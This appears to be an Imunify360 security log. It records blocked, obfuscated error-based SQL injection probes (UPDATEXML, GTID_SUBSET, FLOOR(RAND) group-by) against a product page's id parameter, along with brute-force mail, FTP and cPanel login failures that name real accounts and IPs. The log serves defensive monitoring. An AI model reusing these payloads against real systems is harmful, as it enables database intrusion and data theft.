plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\")))/*!50000AND*/(/*!50000SELECT*/4675/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4675=4675,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((\"sxZgABVn\"=\"sxZgABVn\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/(select/**/6472/**/from(select/**/count(*),concat('~',(select/**/(elt(6472=6472,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('xzkgas3l' like 'xzkgas3l||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))/*!50000AND*/(/*!50000SELECT*/4675/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(4675=4675,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((\"sxZgABVn\"=\"sxZgABVn\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)and/**/(select/**/3935/**/from(select/**/count(*),concat('~',(select/**/(elt(3935=3935,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND /*!50000AND*/UPDATEXML(5760,/*!50000CONCAT*/('.','~',(/*!50000SELECT*/(ELT(5760=5760,1))),'~'),10347)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1')))and/**/(select/**/7400/**/from(select/**/count(*),concat('~',(select/**/(elt(7400=7400,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ((('rmqwu5le'='rmqwu5le||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:36:29 dovecot_login authenticator failed for H=(zD5id8T) [178.16.52.139]:58547: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/(/*!50000SELECT*/6651/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6651=6651,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) OR 'e2U9F0ck'='rm2nrqu7||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/7781/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7781=7781,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) OR '2J9Ninfb'='3mGS4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')))AND/**/(SELECT/**/7400/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7400=7400,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ((('rMqWu5le'='rMqWu5le||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:36:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63745: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/(select/**/6250/**/from(select/**/count(*),concat('~',(select/**/(elt(6250=6250,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 8n0ozrmd||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/(select/**/6250/**/from(select/**/count(*),concat('~',(select/**/(elt(6250=6250,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 8n0ozrmd||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/(select/**/7781/**/from(select/**/count(*),concat('~',(select/**/(elt(7781=7781,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) or '2j9ninfb'='3mgs4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')))AND/**/(SELECT/**/7400/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7400=7400,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ((('rMqWu5le'='rMqWu5le||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/7781/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7781=7781,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) OR '2J9Ninfb'='3mGS4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/6651/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6651=6651,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) OR 'e2U9F0ck'='rm2nrqu7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'AND/**/(SELECT/**/7781/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7781=7781,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) OR '2J9Ninfb'='3mGS4mz1||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:36:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/UPDATEXML(4756,CONCAT('.','~',(SELECT/**/(ELT(4756=4756,1))),'~'),10472)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:37:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:37:49 dovecot_login authenticator failed for H=(Dd4w9s) [165.154.217.204]:55385: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'AND/**/UPDATEXML(1057,CONCAT('.','~',(SELECT/**/(ELT(1057=1057,1))),'~'),2310) OR 'WPrZsqDS'='RWAabv1A||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/updatexml(2496,concat('.','~',(select/**/(elt(2496=2496,1))),'~'),3021)# thsvpjht||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:37:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64846: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/updatexml(4756,concat('.','~',(select/**/(elt(4756=4756,1))),'~'),10472)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/UPDATEXML(8520,CONCAT('.','~',(SELECT/**/(ELT(8520=8520,1))),'~'),8800)# SFym12Vb HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 71.6.135.131
country_id: 6252001
description:
Feb  2 05:37:23 sv3 pure-ftpd[1441929]: (?@71.6.135.131) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.66.46.84
country_id: 1562822
description:
2026-02-02 05:37:24 dovecot_plain authenticator failed for H=(jxwkrpzh474a38zqqba8t8pv2n17k) [157.66.46.84]:26188: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.214.169.10
country_id: 2510769
description:
2026-02-02 05:37:33 dovecot_plain authenticator failed for H=(meake) [185.214.169.10]:42782: 535 Incorrect authentication data (set_id=bcteh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:37:54 dovecot_login authenticator failed for H=(yTdwgQ) [158.94.208.175]:50116: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-02-02 05:37:54 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:44466: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/UPDATEXML(2496,CONCAT('.','~',(SELECT/**/(ELT(2496=2496,1))),'~'),3021)# tHSvpJht HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.46.113.180
country_id: 2960313
description:
2026-02-02 05:37:29 dovecot_login authenticator failed for H=(5G3bMlMK) [37.46.113.180]:15388: 535 Incorrect authentication data (set_id=sham@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:37:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:37:08 dovecot_login authenticator failed for H=(zgmbXGqWh) [165.154.217.204]:64071: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:37:23 dovecot_login authenticator failed for H=(5XEoKU) [178.16.52.139]:53545: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:38:59 dovecot_login authenticator failed for H=(0Bwc5W) [158.94.208.175]:50504: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-02 05:38:24 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:55372: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:38:42 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)AND/**/UPDATEXML(10776,CONCAT('.','~',(SELECT/**/(ELT(10776=10776,1))),'~'),2995)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-02 05:38:17 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:41698: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-02 05:38:37 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:41307: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/updatexml(10776,concat('.','~',(select/**/(elt(10776=10776,1))),'~'),2995)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/gtid_subset(concat('~',(select/**/(elt(2594=2594,1))),'~'),2594) and (((1469=1469||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:38:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58151: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-02 05:38:09 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:52720: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:38:05 dovecot_login authenticator failed for H=(F42C4G) [165.154.217.204]:58344: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:38:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:38:44 dovecot_login authenticator failed for H=(vU8YuO3sh) [178.16.52.139]:50982: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(2657=2657,1))),'~'),2657)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-02 05:38:02 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:43620: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:38:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43574: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-02 05:39:14 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:51220: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:39:33 dovecot_login authenticator failed for H=(7eqqeSe93) [158.94.208.175]:50181: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:39:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-02-02 05:39:24 dovecot_login authenticator failed for H=([125.23.79.65]) [122.185.146.166]:37948: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:39:07 dovecot_login authenticator failed for H=(pLLJldve) [165.154.217.204]:53131: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:39:40 dovecot_login authenticator failed for H=(Fl2dWcb) [77.83.39.253]:32022: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')))/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9380=9380,1))),'~'),9380) AND ((('xp3ry48j'='xp3ry48j||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:39:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51516: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.201.14
country_id: 2921044
description:
2026-02-02 05:39:37 dovecot_login authenticator failed for H=mail.ravenbruch.de ([127.0.0.1]) [135.125.201.14]:53740: 535 Incorrect authentication data (set_id=tigerchong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.188.115.2
country_id: 2542007
description:
2026-02-02 05:39:05 dovecot_plain authenticator failed for H=(PBYTE98B5.localdomain) [105.188.115.2]:63474: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-02 05:39:38 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:58024: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:39:13 dovecot_login authenticator failed for H=(itfBhv) [178.16.52.139]:56256: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(10554=10554,1))),'~'),10554)# 4XlIGW5l HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.154.196
country_id: 1814991
description:
2026-02-02 05:39:31 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.154.196]:42627: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')))and/**/gtid_subset(concat('~',(select/**/(elt(1229=1229,1))),'~'),1229) and ((('ou2y8ilw'='ou2y8ilw||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-02-02 05:40:17 +0800] info [cpaneld] 45.168.113.8 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/row(1056,4140)>(select/**/count(*),concat('~',(select/**/(elt(1056=1056,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/4852/**/union/**/select/**/9619/**/union/**/select/**/6364/**/union/**/select/**/2152)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1 AND AND/**/ROW(10137,2735)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10137=10137,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/5818/**/UNION/**/SELECT/**/10645/**/UNION/**/SELECT/**/8334/**/UNION/**/SELECT/**/7646)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:40:06 dovecot_login authenticator failed for H=(uo3OAU) [158.94.208.175]:60326: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:40:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61285: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1 and and/**/row(10137,2735)>(select/**/count(*),concat('~',(select/**/(elt(10137=10137,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5818/**/union/**/select/**/10645/**/union/**/select/**/8334/**/union/**/select/**/7646)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/ROW(1056,4140)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1056=1056,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/4852/**/UNION/**/SELECT/**/9619/**/UNION/**/SELECT/**/6364/**/UNION/**/SELECT/**/2152)a/**/GROUP/**/BY/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:40:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:40:10 dovecot_login authenticator failed for H=(FbTRYJ1) [178.16.52.139]:65177: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-02 05:40:52 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:50988: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:40:04 dovecot_login authenticator failed for H=(yxcPjjvj) [77.83.39.253]:56562: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
